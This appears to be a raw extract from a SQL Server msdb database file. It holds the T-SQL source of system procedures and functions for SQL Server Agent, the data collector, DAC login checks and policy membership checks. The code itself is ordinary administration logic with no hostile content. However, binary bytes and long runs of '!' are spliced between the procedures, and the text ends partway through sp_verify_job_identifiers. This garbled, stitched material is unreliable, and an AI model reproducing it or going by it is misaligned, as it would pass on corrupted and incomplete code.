0o $8('')0_uq %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
<TM0,r0@ "8CREATE PROCEDURE sp_sqlagent_get_startup_info
AS
BEGIN
  DECLARE @tbu INT
  DECLARE @agentAllowed INT

  SET NOCOUNT ON

  IF (ServerProperty('InstanceName') IS NULL)
  BEGIN
    EXECUTE @tbu = master.dbo.xp_qv '1338198028'
    EXECUTE @agentAllowed = master.dbo.xp_qv '2858542058'
  END
  ELSE
  BEGIN
    DECLARE @instancename NVARCHAR(128)
    SELECT @instancename = CONVERT(NVARCHAR(128), ServerProperty('InstanceName'))
    EXECUTE @tbu = master.dbo.xp_qv '1338198028', @instancename
    EXECUTE @agentAllowed = master.dbo.xp_qv '2858542058', @instancename
  END

  IF (@tbu < 0)
    SELECT @tbu = 0

  IF (@agentAllowed < 0)
    SELECT @agentAllowed = 0

  SELECT (SELECT CASE WHEN compatibility_level >= 70 THEN 1 ELSE 0 END FROM sys.databases WHERE (name = 'msdb')) AS msdb_70_compatible,
         CASE WHEN DATABASEPROPERTYEX('msdb', 'Updateability') = 'READ_ONLY' THEN 1 ELSE 0 END  AS msdb_read_only,
         ( CASE WHEN DATABASEPROPERTYEX('msdb', 'Status') = 'ONLINE' THEN 1 ELSE 0 END  &
           CASE WHEN DATABASEPROPERTYEX('msdb', 'UserAccess') = 'MULTI_USER' THEN 1 ELSE 0 END)  AS msdb_available,
         CASE ISNULL((SELECT 1 WHERE 'a' = 'A'), 0)
             WHEN 1 THEN 0
             ELSE 1
         END AS case_sensitive_server,
         (SELECT value_in_use FROM sys.configurations WHERE (name = 'user connections')) AS max_user_connection,
         CONVERT(sysname, SERVERPROPERTY('SERVERNAME')) AS sql_server_name,
         ISNULL(@tbu, 0) AS tbu,
         PLATFORM() AS platform,
         ISNULL(CONVERT(sysname, SERVERPROPERTY('INSTANCENAME')), 'MSSQLSERVER') AS instance_name ,
         CONVERT(INT, SERVERPROPERTY('ISCLUSTERED')) AS is_clustered,
         @agentAllowed AS agent_allowed

  RETURN(0) -- Success
END
0 8CREATE PROCEDURE sp_sqlagent_update_agent_xps
  @new_value        bit = 1  -- the new value for the "Agent XPs" configuration option.
AS
BEGIN
  declare @agent_enabled bit 
  declare @show_advanced bit 
  
  select @show_advanced = cast(value_in_use as bit) 
    from sys.configurations 
    where name = N'show advanced options' 
  
  select @agent_enabled = cast(value_in_use as bit) 
    from sys.configurations 
    where name = N'Agent XPs' 
    
  if @new_value <> @agent_enabled 
  begin 
    if 1 <> @show_advanced 
    begin 
      exec sys.sp_configure @configname = N'show advanced options', @configvalue = 1 
      reconfigure with override 
    end 
    
    exec sys.sp_configure @configname = N'Agent XPs', @configvalue = @new_value 
    reconfigure with override 
    if 1 <> @show_advanced 
    begin 
      exec sys.sp_configure @configname = N'show advanced options', @configvalue = 0 
      reconfigure with override 
    end 
  end
END
0@9 	8CREATE PROCEDURE [dbo].[sp_syscollector_set_warehouse_instance_name]
    @instance_name                    sysname = NULL
AS
BEGIN
    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_admin')
        RETURN(1) -- Failure
    END

    -- Check if the collector is disabled
    DECLARE @retVal int
    EXEC @retVal = [dbo].[sp_syscollector_verify_collector_state] @desired_state = 0
    IF (@retVal <> 0)
        RETURN (1)

    UPDATE [msdb].[dbo].[syscollector_config_store_internal]
    SET parameter_value = @instance_name
    WHERE parameter_name = N'MDWInstance'

    RETURN (0)
END
0y- 	8CREATE PROCEDURE [dbo].[sp_syscollector_set_warehouse_database_name]
    @database_name                    sysname = NULL
AS
BEGIN
    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_admin')
        RETURN(1) -- Failure
    END

    -- Check if the collector is disabled
    DECLARE @retVal int
    EXEC @retVal = [dbo].[sp_syscollector_verify_collector_state] @desired_state = 0
    IF (@retVal <> 0)
        RETURN (1)

    UPDATE [msdb].[dbo].[syscollector_config_store_internal]
    SET parameter_value = @database_name
    WHERE parameter_name = N'MDWDatabase'

    RETURN (0)
END
0 %8((0))0O %8((0))0% 8CREATE FUNCTION [dbo].[fn_sysdac_is_login_creator]()
RETURNS int
BEGIN
    DECLARE @engineEdition int = CAST(SERVERPROPERTY('EngineEdition') AS int);
    DECLARE @islogincreator int;

    -- Check the engine edition
    IF (@engineEdition = 5)
    BEGIN
        -- Sql Azure:
        --   is member of loginmanager or is superuser.

        SET @islogincreator = COALESCE(IS_MEMBER('loginmanager'), 0) | 
            dbo.fn_sysdac_is_currentuser_sa()

    END ELSE
    BEGIN
        -- Standalone, default:
        --   has ALTER ANY LOGIN permision

        SET @islogincreator = HAS_PERMS_BY_NAME(null, null, 'ALTER ANY LOGIN')
        
    END

    RETURN @islogincreator;
END
0^ M8CREATE FUNCTION [dbo].[fn_sysdac_is_currentuser_sa]()
RETURNS int
BEGIN
    DECLARE @engineEdition int = CAST(SERVERPROPERTY('EngineEdition') AS int);
    DECLARE @is_sa int;
    
    -- Check the engine edition
    IF (@engineEdition = 5)
    BEGIN
        -- Sql Azure:
    --   SID matches with the reserved offset.
        -- NOTE: We should get an inbuilt user function from Azure team instead of us querying based on SID.    
        SET @is_sa = 0
    
        IF((CONVERT(varchar(85), suser_sid(), 2) LIKE '0106000000000164%'))
            SET @is_sa = 1
            
    END ELSE
    BEGIN
        -- Standalone, default:
        --   is member of the serverrole 'sysadmin'
        SET @is_sa = COALESCE(is_srvrolemember('sysadmin'), 0)
    
    END
   
    RETURN @is_sa;
END
0ѽY %8((0))0
M %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!/
`&<L.h&Z|H0 8CREATE PROCEDURE sp_sqlagent_has_server_access
  @login_name         sysname = NULL,
  @job_id             uniqueidentifier = NULL, -- if this is not null, @login_name will be ignored!
  @is_sysadmin_member INT     = NULL OUTPUT
AS
BEGIN
  DECLARE @has_server_access BIT
  DECLARE @is_sysadmin       BIT
  DECLARE @actual_login_name sysname
  -- Set only when login_name is actually found. It will be zero when @actual_login_name is (unknown).
  DECLARE @login_found BIT
  DECLARE @cachedate         DATETIME

  SET NOCOUNT ON

  SELECT @cachedate = NULL

  -- remove expired entries from the cache
  DELETE msdb.dbo.syscachedcredentials
  WHERE  DATEDIFF(MINUTE, cachedate, GETDATE()) >= 29

  -- query the cache
  SELECT  @is_sysadmin = is_sysadmin_member,
          @has_server_access = has_server_access,
          @cachedate = cachedate
  FROM    msdb.dbo.syscachedcredentials
  WHERE   login_name = @login_name
  AND     DATEDIFF(MINUTE, cachedate, GETDATE()) < 29

  IF (@cachedate IS NOT NULL)
  BEGIN
    -- no output variable
    IF (@is_sysadmin_member IS NULL)
    BEGIN
      -- Return result row
      SELECT has_server_access = @has_server_access,
             is_sysadmin       = @is_sysadmin,
             actual_login_name = @login_name
      RETURN
    END
    ELSE
    BEGIN
      SELECT @is_sysadmin_member = @is_sysadmin
      RETURN
    END
  END -- select from cache

  -- Set defaults
  SELECT @has_server_access = 0
  SELECT @is_sysadmin = 0
  SELECT @actual_login_name = FORMATMESSAGE(14205)
  SELECT @login_found = 0

    -- If @job_id was set, get the current name associated with the job owner sid.
  if (@job_id IS NOT NULL) 
  BEGIN
	SELECT @login_name = dbo.SQLAGENT_SUSER_SNAME(owner_sid)
	FROM msdb.dbo.sysjobs_view
	WHERE @job_id = job_id

    -- If the job_id is invalid, return error
    IF (@login_name IS NULL)  
    BEGIN  
      RETURN 1;
    END  
	
  END
  
 IF (@login_name IS NULL)
  BEGIN
    SELECT has_server_access = 1,
           is_sysadmin       = IS_SRVROLEMEMBER(N'sysadmin'),
           actual_login_name = SUSER_SNAME()
    RETURN
  END

  IF (@login_name LIKE '%\%')
  BEGIN
    -- Handle the LocalSystem account ('NT AUTHORITY\SYSTEM') as a special case
    IF (UPPER(@login_name collate SQL_Latin1_General_CP1_CS_AS) = N'NT AUTHORITY\SYSTEM')
    BEGIN
      IF (EXISTS (SELECT *
                  FROM master.dbo.syslogins
                  WHERE (UPPER(loginname collate SQL_Latin1_General_CP1_CS_AS) = N'NT AUTHORITY\SYSTEM')))
      BEGIN
        SELECT @has_server_access = hasaccess,
               @is_sysadmin = sysadmin,
               @actual_login_name = loginname
        FROM master.dbo.syslogins
        WHERE (UPPER(loginname collate SQL_Latin1_General_CP1_CS_AS) = N'NT AUTHORITY\SYSTEM')

        SET @login_found = 1
      END
      ELSE
      IF (EXISTS (SELECT *
                  FROM master.dbo.syslogins
                  WHERE (UPPER(loginname collate SQL_Latin1_General_CP1_CS_AS) = N'BUILTIN\ADMINISTRATORS')))
      BEGIN
        SELECT @has_server_access = hasaccess,
               @is_sysadmin = sysadmin,
               @actual_login_name = loginname
        FROM master.dbo.syslogins
        WHERE (UPPER(loginname collate SQL_Latin1_General_CP1_CS_AS) = N'BUILTIN\ADMINISTRATORS')

        SET @login_found = 1
      END
    END
    ELSE
    BEGIN
      -- Check if the NT login has been explicitly denied access
      IF (EXISTS (SELECT *
                  FROM master.dbo.syslogins
                  WHERE (loginname = @login_name)
                    AND (denylogin = 1)))
      BEGIN
        SELECT @has_server_access = 0,
               @is_sysadmin = sysadmin,
               @actual_login_name = loginname
        FROM master.dbo.syslogins
        WHERE (loginname = @login_name)

        SET @login_found = 1
      END
      ELSE
      BEGIN
        -- declare table variable for storing results
        DECLARE @xp_results TABLE
        (
        account_name      sysname      COLLATE database_default NOT NULL PRIMARY KEY,
        type              NVARCHAR(10) COLLATE database_default NOT NULL,
        privilege         NVARCHAR(10) COLLATE database_default NOT NULL,
        mapped_login_name sysname      COLLATE database_default NOT NULL,
        permission_path   sysname      COLLATE database_default NULL
        )

        -- Call xp_logininfo to determine server access
        INSERT INTO @xp_results
        EXECUTE master.dbo.xp_logininfo @login_name

        IF (SELECT COUNT(*) FROM @xp_results) > 0
        BEGIN
          SET @has_server_access = 1
          SET @login_found = 1
        END
        
        SELECT @actual_login_name = mapped_login_name,
               @is_sysadmin = CASE UPPER(privilege collate SQL_Latin1_General_CP1_CS_AS)
                                WHEN 'ADMIN' THEN 1
                                ELSE 0
                             END
        FROM @xp_results
      END
    END
    -- Only cache the NT logins to approximate the behavior of Sql Server and Windows (see bug 323287)
    -- update the cache only if something is found
    IF  (UPPER(@actual_login_name collate SQL_Latin1_General_CP1_CS_AS) <> '(UNKNOWN)')
    BEGIN
      -- Procedure starts its own transaction.
      BEGIN TRANSACTION;
      
      -- Modify database.
      -- use a try catch login to prevent any error when trying 
      -- to insert/update syscachedcredentials table
      -- no need to fail since the job owner has been validated
      BEGIN TRY      
        IF EXISTS (SELECT * FROM msdb.dbo.syscachedcredentials WITH (TABLOCKX) WHERE login_name = @login_name)
        BEGIN
          UPDATE msdb.dbo.syscachedcredentials
          SET    has_server_access = @has_server_access,
                is_sysadmin_member = @is_sysadmin,
                cachedate = GETDATE()
          WHERE  login_name = @login_name
        END
        ELSE
        BEGIN
          INSERT INTO msdb.dbo.syscachedcredentials(login_name, has_server_access, is_sysadmin_member) 
          VALUES(@login_name, @has_server_access, @is_sysadmin)
        END
        END TRY
        BEGIN CATCH
            -- If an error occurred we want to ignore it
        END CATCH
        
        -- The procedure must commit the transaction it started.
        COMMIT TRANSACTION;  
    END
  
  END
  ELSE
  BEGIN
    -- Standard login
    IF (EXISTS (SELECT *
                FROM master.dbo.syslogins
                WHERE (loginname = @login_name)))
    BEGIN
      SELECT @has_server_access = hasaccess,
             @is_sysadmin = sysadmin,
             @actual_login_name = loginname
      FROM master.dbo.syslogins
      WHERE (loginname = @login_name)
      
      SET @login_found = 1
    END
  END

  IF (@is_sysadmin_member IS NULL)
    -- Return result row
    SELECT has_server_access = @has_server_access,
           is_sysadmin       = @is_sysadmin,
           actual_login_name = @actual_login_name,
           login_found       = @login_found
  ELSE
    -- output variable only
    SELECT @is_sysadmin_member = @is_sysadmin
END
00) D8,!h"0?C %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'`%(<?Bb0iM 8CREATE PROCEDURE sp_sqlagent_notify
  @op_type     NCHAR(1),                -- One of: J (Job action [refresh or start/stop]),
                                        --         S (Schedule action [refresh only])
                                        --         A (Alert action [refresh only]),
                                        --         G (Re-cache all registry settings),
                                        --         D (Dump job [or job schedule] cache to errorlog)
                                        --         P (Force an immediate poll of the MSX)
                                        --         L (Cycle log file)
                                        --         T (Test WMI parameters (namespace and query))
                                        --         M (DatabaseMail action [ refresh profile  associated with sql agent)
  @job_id      UNIQUEIDENTIFIER = NULL, -- JobID (for OpTypes 'J', 'S' and 'D')
  @schedule_id INT              = NULL, -- ScheduleID (for OpType 'S')
  @alert_id    INT              = NULL, -- AlertID (for OpType 'A')
  @action_type NCHAR(1)         = NULL, -- For 'J' one of: R (Run - no service check),
                                        --                 S (Start - with service check),
                                        --                 I (Insert),
                                        --                 U (Update),
                                        --                 D (Delete),
                                        --                 C (Stop [Cancel])
                                        -- For 'S' or 'A' one of: I (Insert),
                                        --                        U (Update),
                                        --                        D (Delete)
  @error_flag  INT              = 1,    -- Set to 0 to suppress the error from xp_sqlagent_notify if SQLServer agent is not running
  @wmi_namespace nvarchar(128) = NULL,
  @wmi_query     nvarchar(512) = NULL
AS
BEGIN
  DECLARE @retval         INT
  DECLARE @id_as_char     VARCHAR(10)
  DECLARE @job_id_as_char VARCHAR(36)
  DECLARE @nt_user_name   NVARCHAR(100)

  SET NOCOUNT ON

  SELECT @retval = 0 -- Success

  -- Make sure that we're dealing only with uppercase characters
  SELECT @op_type     = UPPER(@op_type collate SQL_Latin1_General_CP1_CS_AS)
  SELECT @action_type = UPPER(@action_type collate SQL_Latin1_General_CP1_CS_AS)

  -- Verify operation code
  IF (CHARINDEX(@op_type, N'JSAGDPLTM') = 0)
  BEGIN
    RAISERROR(14266, -1, -1, '@op_type', 'J, S, A, G, D, P, L, T, M')
    RETURN(1) -- Failure
  END

  -- Check the job id for those who use it
  IF (CHARINDEX(@op_type, N'JSD') <> 0)
  BEGIN
    IF (NOT ((@op_type = N'D' OR @op_type = N'S') AND (@job_id IS NULL))) -- For 'D' and 'S' job_id is optional
    BEGIN
      IF ((@job_id IS NULL) OR
          ((@action_type <> N'D') AND NOT EXISTS (SELECT *
                                                  FROM msdb.dbo.sysjobs_view
                                                  WHERE (job_id = @job_id))))
      BEGIN
        SELECT @job_id_as_char = CONVERT(VARCHAR(36), @job_id)
        RAISERROR(14262, -1, -1, '@job_id', @job_id_as_char)
        RETURN(1) -- Failure
      END
    END
  END

  -- Verify 'job' action parameters
  IF (@op_type = N'J')
  BEGIN
    SELECT @alert_id = 0
    IF (@schedule_id IS NULL) SELECT @schedule_id = 0

    -- The schedule_id (if specified) is the start step
    IF ((CHARINDEX(@action_type, N'RS') <> 0) AND (@schedule_id <> 0))
    BEGIN
      IF (NOT EXISTS (SELECT *
                      FROM msdb.dbo.sysjobsteps
                      WHERE (job_id = @job_id)
                        AND (step_id = @schedule_id)))
      BEGIN
        SELECT @id_as_char = ISNULL(CONVERT(VARCHAR, @schedule_id), '(null)')
        RAISERROR(14262, -1, -1, '@schedule_id', @id_as_char)
        RETURN(1) -- Failure
      END
    END
    ELSE
      SELECT @schedule_id = 0

    IF (CHARINDEX(@action_type, N'RSIUDC') = 0)
    BEGIN
      RAISERROR(14266, -1, -1, '@action_type', 'R, S, I, U, D, C')
      RETURN(1) -- Failure
    END
  END

  -- Verify 'schedule' action parameters
  IF (@op_type = N'S')
  BEGIN
    SELECT @alert_id = 0

    IF (CHARINDEX(@action_type, N'IUD') = 0)
    BEGIN
      RAISERROR(14266, -1, -1, '@action_type', 'I, U, D')
      RETURN(1) -- Failure
    END

    IF ((@schedule_id IS NULL) OR
        ((@action_type <> N'D') AND NOT EXISTS (SELECT *
                                                FROM msdb.dbo.sysschedules
                                                WHERE (schedule_id = @schedule_id))))
    BEGIN
      SELECT @id_as_char = ISNULL(CONVERT(VARCHAR, @schedule_id), '(null)')
      RAISERROR(14262, -1, -1, '@schedule_id', @id_as_char)
      RETURN(1) -- Failure
    END
  END

  -- Verify 'alert' action parameters
  IF (@op_type = N'A')
  BEGIN
    SELECT @job_id = 0x00
    SELECT @schedule_id = 0

    IF (CHARINDEX(@action_type, N'IUD') = 0)
    BEGIN
      RAISERROR(14266, -1, -1, '@action_type', 'I, U, D')
      RETURN(1) -- Failure
    END

    IF ((@alert_id IS NULL) OR
        ((@action_type <> N'D') AND NOT EXISTS (SELECT *
                                                FROM msdb.dbo.sysalerts
                                                WHERE (id = @alert_id))))
    BEGIN
      SELECT @id_as_char = ISNULL(CONVERT(VARCHAR, @alert_id), '(null)')
      RAISERROR(14262, -1, -1, '@alert_id', @id_as_char)
      RETURN(1) -- Failure
    END
  END

  -- Verify 'registry', 'job dump' and 'force MSX poll' , 'cycle log', dbmail profile refresh action parameters
  IF (CHARINDEX(@op_type, N'GDPLM') <> 0)
  BEGIN
    IF (@op_type <> N'D')
      SELECT @job_id = 0x00
    SELECT @alert_id = 0
    SELECT @schedule_id = 0
    SELECT @action_type = NULL
  END

  -- Parameters are valid, so now check execution permissions...

  -- For anything except a job (or schedule) action the caller must be SysAdmin, DBO, or DB_Owner
  IF (@op_type NOT IN (N'J', N'S'))
  BEGIN
    IF NOT ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1) OR
            (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1) OR
            (UPPER(USER_NAME() collate SQL_Latin1_General_CP1_CS_AS) = N'DBO'))
    BEGIN
      RAISERROR(14260, -1, -1)
      RETURN(1) -- Failure
    END
  END

  -- For a Job Action the caller must be SysAdmin, DBO, DB_Owner, or the job owner
  IF (@op_type = N'J')
  BEGIN
    IF NOT ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1) OR
            (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1) OR
            (UPPER(USER_NAME() collate SQL_Latin1_General_CP1_CS_AS) = N'DBO') OR
            (EXISTS (SELECT *
                     FROM msdb.dbo.sysjobs_view
                     WHERE (job_id = @job_id))))
    BEGIN
      RAISERROR(14252, -1, -1)
      RETURN(1) -- Failure
    END
  END

  --verify WMI parameters
  IF (@op_type = N'T')
  BEGIN
   SELECT @wmi_namespace = LTRIM(RTRIM(@wmi_namespace))
   SELECT @wmi_query = LTRIM(RTRIM(@wmi_query))  
    IF (@wmi_namespace IS NULL) or (@wmi_query IS NULL)
   BEGIN
          RAISERROR(14508, 16, 1)
          RETURN(1) -- Failure      
   END
  END

  -- Ok, let's do it...
  SELECT @nt_user_name = ISNULL(NT_CLIENT(), ISNULL(SUSER_SNAME(), FORMATMESSAGE(14205)))
  EXECUTE @retval = master.dbo.xp_sqlagent_notify @op_type, @job_id, @schedule_id, @alert_id, @action_type, @nt_user_name, @error_flag, @@trancount, @wmi_namespace, @wmi_query

  RETURN(@retval)
END
0H h8
CREATE PROCEDURE [dbo].[sp_syspolicy_check_membership]
@role sysname,
@raiserror bit = 1
AS
BEGIN
	-- make sure that the caller is dbo or @role
	IF ( IS_MEMBER(@role) != 1 AND USER_ID() != 1)
	BEGIN
		IF (@raiserror = 1)
		BEGIN
			RAISERROR(15003, -1, -1, @role);
		END
		RETURN 15003;
	END
	
	RETURN 0;
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!UU`'<,Mh0ە
 
8CREATE PROCEDURE sp_verify_job_identifiers
  @name_of_name_parameter  VARCHAR(60),             -- Eg. '@job_name'
  @name_of_id_parameter    VARCHAR(60),             -- Eg. '@job_id'
  @job_name                sysname          OUTPUT, -- Eg. 'My Job'
  @job_id                  UNIQUEIDENTIFIER OUTPUT,
  @sqlagent_starting_test  VARCHAR(7) = 'TEST',      -- By default we DO want to test if SQLServerAgent is running (caller should specify 'NO_TEST' if not desired)
  @owner_sid                VARBINARY(85) = NULL OUTPUT  
AS
BEGIN
  DECLARE @retval         INT
  DECLARE @job_id_as_char VARCHAR(36)

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @name_of_name_parameter = LTRIM(RTRIM(@name_of_name_parameter))
  SELECT @name_of_id_parameter   = LTRIM(RTRIM(@name_of_id_parameter))
  SELECT @job_name               = LTRIM(RTRIM(@job_name))

  IF (@job_name = N'') SELECT @job_name = NULL

  IF ((@job_name IS NULL)     AND (@job_id IS NULL)) OR
     ((@job_name IS NOT NULL) AND (@job_id IS NOT NULL))
  BEGIN
    RAISERROR(14294, -1, -1, @name_of_id_parameter, @name_of_name_parameter)
    RETURN(1) -- Failure
  END

  -- Check job id
  IF (@job_id IS NOT NULL)
  BEGIN
    SELECT @job_name = name,
           @owner_sid = owner_sid
    FROM msdb.dbo.sysjobs_view
    WHERE (job_id = @job_id)
    
    -- the view would take care of all the permissions issues.
    IF (@job_name IS NULL) 
    BEGIN
      SELECT @job_id_as_char = CONVERT(VARCHAR(36), @job_id)
      RAISERROR(14262, -1, -1, '@job_id', @job_id_as_char)
      RETURN(1) -- Failure
    END
  END
  ELSE
  -- Check job name
  IF (@job_name IS NOT NULL)
  BEGIN
    -- Check if the job name is ambiguous
    IF ((SELECT COUNT(*)
         FROM msdb.dbo.sysjobs_view
         WHERE (name = @job_name)) > 1)
    BEGIN
      RAISERROR(14293, -1, -1, @job_name, @name_of_id_parameter, @name_of_name_parameter)
      RETURN(1) -- Failure
    END

    -- The name is not ambiguous, so get the corresponding job_id (if the job exists)
    SELECT @job_id = job_id,
           @owner_sid = owner_sid
    FROM msdb.dbo.sysjobs_view
    WHERE (name = @job_name)
    
    -- the view would take care of all the permissions issues.
    IF (@job_id IS NULL) 
    BEGIN
      RAISERROR(14262, -1, -1, '@job_name', @job_name)
      RETURN(1) -- Failure
    END
  END

  IF (@sqlagent_starting_test = 'TEST')
  BEGIN
    -- Finally, check if SQLServerAgent is in the process of starting and if so prevent the
